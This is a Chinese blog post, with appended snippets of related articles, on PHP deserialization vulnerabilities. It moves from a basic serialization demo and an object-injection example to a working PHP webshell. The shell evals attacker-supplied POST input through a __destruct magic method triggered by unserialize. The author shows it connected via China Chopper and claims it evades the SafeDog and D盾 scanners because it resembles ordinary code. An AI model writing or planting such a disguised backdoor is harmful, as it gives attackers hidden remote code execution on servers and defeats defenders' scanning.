代码编织梦想

前言

最近和小伙伴们一起研究了下PHP反序列化漏洞,突发奇想,利用反序列化漏洞写一个一句话木马效果应该蛮不错的。于是便有此文。


0x01 PHP反序列化

说起PHP反序列化,那必须先简单说一下PHP的序列化。PHP序列化是将一个对象、数组、字符串等转化为字节流便于传输,比如跨脚本等。而PHP反序列化是将序列化之后的字节流还原成对象、字符、数组等。但是PHP序列化是不会保存对象的方法。

<?php
class A{
    var $test = "demo";
}

$a = new A();  // 生成a对象
$b = serialize($a);  // 序列化a对象为b
$c = unserialize($b); // 反序列化b对象为c

print_r($b);   // 输出序列化之后的值:O:1:"A":1:{s:4:"test";s:4:"demo";}
echo "\n";
print_r($c->test);  // 输出对象c中test的值:demo

?>

0x02 PHP反序列化漏洞

PHP类中有一种特殊函数体的存在叫魔法函数,magic函数命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用,比如__construct当一个对象创建时被调用,__destruct当一个对象销毁时被调用,__toString当一个对象被当作一个字符串使用。
而在反序列化时,如果反序列化对象中存在魔法函数,使用unserialize()函数同时也会触发。这样,一旦我们能够控制unserialize()入口,那么就可能引发对象注入漏洞。

<?php
class A{
    var $test = "demo";
    function __destruct(){
            echo $this->test;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

比如上述代码,构造payload为http://127.0.0.1:800/test.php?test=O:1:"A":1:{s:4:"test";s:5:"hello";}
反序列化后在脚本运行结束时就会调用_destruct函数,同时会覆盖test变量输出hello。

1.png

0x03 回马枪

我们可以利用该漏洞点,控制输入变量,拼接成一个序列化对象。然后再构造一个魔法函数,比如在_destruct()函数中调用eval执行序列化对象中的语句。

<?php
class A{
    var $test = "demo";
    function __destruct(){
        @eval($this->test);
    }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>

2.png

0x04 效果演示

直接菜刀链接:
3.png

4.png

安全狗:

5.png

此木马毕竟是跟正常文件太像,所以免杀效果很不错。这里只是测试了安全狗、D盾,其余自测。

小结

而且由此可以引发很多变形,这里只是利用反序列化漏洞,其他漏洞也可以用来当作木马的载体,毕竟cms的代码执行漏洞在被发现之前,他依旧是一个正常到不能再正常的文件。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/vspiders/article/details/79643200

记录weblogic(cve-2017-10271)反序列化漏洞找webshell地址_「已注销」的博客-爱代码爱编程

记录WebLogic(CVE-2017-10271)反序列化漏洞找WEBSHELL地址 首先,郭姓某牛丢来了一个有weblogic漏洞的地址http://x.x.x.x:7001 说用k8的weblogic2628去

原理+实践掌握(PHP反序列化和Session反序列化)-爱代码爱编程

<p></p><h2 id="toc-0">前言:</h2> 最近又接触了几道php反序列化的题目,觉得对反序列化的理解又加深了一点,这次就在之前的学习的基础上进行补充。 0x00:PHP序列化 函数 : serialize() 所有php里面的值都可以使

远程命令执行与反序列化之——jboss中间件反序列化漏洞获取Webshell还原-爱代码爱编程

jboss中间件反序列化漏洞获取Webshell还原 理论 可以在谷歌浏览器的wappalyzer插件中查看jboss相关信息 历史漏洞参考;https://www.seebug.org/appdir/JBoss https://www.jianshu.com/p/e34062e0a6f1 默认后台地址:http://localhost:808

PHP序列化与反序列化-爱代码爱编程

文章目录 前言一、序列化与反序列化二、魔术函数1.序列化2.反序列化3.几个魔法函数的调用三、反序列化漏洞1.__wakeup( )绕过2.POP链总结 前言 概念: 这其实是为了解决 PHP 对象传递的一个问题,因为 PHP 文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,总不能你永远不让它销毁

在线目标检测网站_网站安全怎么做?随免费你安装这七个安全软件即可!-爱代码爱编程

webshell是一种可以在web服务器上执行后台脚本或者命令的后门,黑客通过入侵网站上传webshell后获得服务器的执行操作权限,比如执行系统命令、窃取用户数据、删除web页面、修改主页等,其危害不言而喻。而WebShell扫描检测工具可辅助查出该后门。 WebShell扫描工具适用 网上下载的源码特定文件检测是否是木马检测目标程序或文件是否存

反序列化漏洞汇总-爱代码爱编程

一.反序列化的基本内容 类对象方法 类(Class): 用来描述具有相同的属性和方法的对象的集合。 它定义了该集合中每个对象所共有的属性和方法。对象是类的实例。 对象:通过类定义的数据结构实例。对象包括两个数据成员(类变量和实例变量)和方法。 对象:某一个具体的事物、实体或事例 类是类型,比如人类,犬类; 对象是某种类的一个实例(实际的例子),比

bmcl java_Shiro rememberMe 反序列化漏洞写Webshell-爱代码爱编程

Shiro rememberMe 反序列化漏洞写Webshell 修改ysoserial使其支持生成java代码执行Payload 原来的代码 String cmd = "java.lang.Runtime.getRuntime().exec(\"" +    command.replaceAll("\\\\","\\\\\\\\").repla

php+反序列化代码执行漏洞,PHP反序列化漏洞-爱代码爱编程

0x001 漏洞产生原理 在反序列化的过程中自动触发了某些魔术方法。未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致XSS、代码执行、文件写入、文件读取等不可控后果。 0x002 漏洞触发条件 一般只能通过代码审计的方式挖掘该漏洞,寻找代码中unserialize()函数的变量可控,且PHP文件代码中存在可利用的类,同

PHP反序列化漏洞原理浅谈-爱代码爱编程

序列化与反序列化 序列化就是指将数据结构或者对象状态转换成可取用的格式,以便在相同或者不同的计算机中进行数据的传输。 个人理解 就是将一个对象用一串字符表示出来用来进行通信和传输,一个类,里面包含很多方法和变量,不能直接以类这种格式进行传输,不然会传输很多的字符而且也不好识别。所以将类转换成一种固定的格式传输再进行逆向的转换这就是序列化与反序列化。

【网络安全】反序列化漏洞底层扩展与制作WebShell-爱代码爱编程

XMLDecoder反序列化漏洞底层 参考的文章已经分析的非常详细了,这里我主要是就是一下最后的执行是怎么样的。也就是Expression类的使用 import java.beans.Expression; public class test { public static void main(String[] args)throws E

php反序列化-爱代码爱编程

php反序列化 php反序列化简单的说就是魔术方法的不调用直接使用 为什么要反序列化:压缩空间,便于文件的存储 条件:存在类(class),存在魔术方法 简单理解反序列化 <?php $id=$_GET['id']; $a=serialize($id); echo $a; $b=unserialize($a); echo $b; ?> a即

php反序列化总结-爱代码爱编程

php反序列化总结 基础知识 序列化 序列化就是将 对象object、字符串string、数组array、变量 转换成具有一定格式的字符串,方便保持稳定的格式在文件中传输,以便还原为原来的内容。 serialize ( mixed $value ) : string serialize() 返回字符串,此字符串包含了表示 value 的字节流,

【西湖论剑】phpok6.0前台反序列化getshell-爱代码爱编程

1NDEX 0x00 前言0x01 brain.md捋一下框架poc浅析动调一下poc(小bug 0x00 前言 西湖线下的phpok6.0 后面才知道是个0day 已知poc形式 admin.php 控制器为login 方法为update 其余参数: fid=…/index fcode=shell quickcode=……… 看页面回显似反

反序列化漏洞(php)_beyond my的博客-爱代码爱编程

反序列化漏洞 0x01. 序列化和反序列化是什么 序列化:变量转换为可保存或传输的字符串的过程; 反序列化:把序列化的字符串再转化成原来的变量使用 作用:可轻松地存储和传输数据,使程序更具维护性 0x02. 为什么会有序列化 序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构 0x03. 序列化和反序列化代码示

反序列化——php反序列化_努力学习的胡豆的博客-爱代码爱编程

PHP序列化 序列化 serialize(),是指将一个实例化的变量、数组、对象等结构从一个实例转换为一个简短的序列化字符串,这样便于保存对象,可以将序列化字节存储到数据库或者文本当中。反序列化 unserialize(),当需要调用一个序列化的对象的时候,可以通过反序列化方法直接调用 序列化字符串解析获取保存的对象,而不需要重新实例化一个类。魔术方法:

php反序列化_m0_69637056的博客-爱代码爱编程

定义 序列化(串行化):是将变量转换为可保存或传输的字符串的过程; 反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用; 这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性; 常见的php序列化和反序列化方式主要有:serialize,unserialize   关于php面向对象编程: 对象:可